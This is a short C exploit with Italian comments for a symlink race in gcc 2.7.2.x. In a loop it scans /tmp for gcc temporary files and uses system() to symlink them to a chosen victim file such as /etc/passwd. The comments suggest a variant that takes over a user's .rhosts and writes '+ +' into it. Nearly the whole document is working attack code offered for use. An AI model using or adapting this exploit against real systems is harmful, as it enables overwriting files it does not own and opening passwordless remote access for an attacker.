Gcc 2.7.2.x Exploit - C version.
867a0fdc26a013485e3d1f9f158a953de2b5612c8ef8f16856d92774668eb453
/*
GCC 2.7.2.x exploit
Crea un link su un file temporaneo di gcc con destinazione -> victim_file
Il programma aspetta dei file tmp di gcc... e poi fa il link.
Uso: ./a.out /etc/passwd &
Spero che questa roba che ho scritto funga... il prog funziona cosi':
una volta eseguito per restare in background... cerca nella directory
/tmp dei file temporanei di gcc e grazie ad un bug (in pratica questi file
temporanei seguono il link simbolico) potete far vostro un file che non lo
e'...
Questo programma potrebbe essere scritto in modo piu' proficuo per esempio
leggendo attraverso una struttura di tipo "stat" l'uid del file temporaneo
e facendo quindi un link su .rhosts della home dell'utente con quell'id
e poi scrivendoci sopra un "+ +".
Sinceramente anche se e' abbastanza facile farlo non ho coglioni di scrivere
una cosa del genere visto che attualmente lavoro con una versione del gcc
gia' patchata :)
Questo programma puo' essere ottimizzato per esempio per essere reso piu'
veloce e per far si'che dopo un ciclo non vada a rifare i link su link
gia' creati prima...
Purtroppo capisco perche' Michal Zalewsky non abbia scritto una versione in
C di tale exploit... fare uno script bash di questo tipo non richiede
praticamente niente rispetto al programma...
Anch'io come pigrizia non scherzo... im sorry :) pIGpEN
*/
#include <unistd.h>
#include <dirent.h>
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <sys/resource.h>
#define EXPLOIT_NAME "gcc 2.7.2.X exploit"
#define ERROR -1
#define GCC_FILE "caa"
/* questa costante potrebbe causare problemi a file su /tmp che cominciano per
caa... ma sinceramente oggi sono troppo scazzato per cercare una soluzione a
tutti i problemi della vita :) */
main(int argc, char *argv[])
{
FILE *fp;
struct dirent **filelist;
char cmd[100];
int c_ret;
if(argc!=2)
{
system("clear");
printf("%s \nWritten by pIGpEN/s0ftpj\n",EXPLOIT_NAME);
printf("Exploit by Michal Zalewsky\n");
printf("Usage: %s victim_file\n",argv[0]);
exit(ERROR);
}
if((fp=fopen(argv[1],"r"))==NULL) // va bene anche l'access() con mode F_OK
{
printf("Victim File Not Found\n");
exit(ERROR);
}
else fclose(fp);
setpriority(PRIO_PGRP,0,20);
for(;;)
{
c_ret = scandir("/tmp", &filelist, 0, alphasort);
while(c_ret--)
{
if(strstr(filelist[c_ret]->d_name,GCC_FILE)!=NULL)
{
sprintf(cmd,"ln -sf %s /tmp/%s",argv[1],filelist[c_ret]->d_name);
system(cmd);
}
}
}
}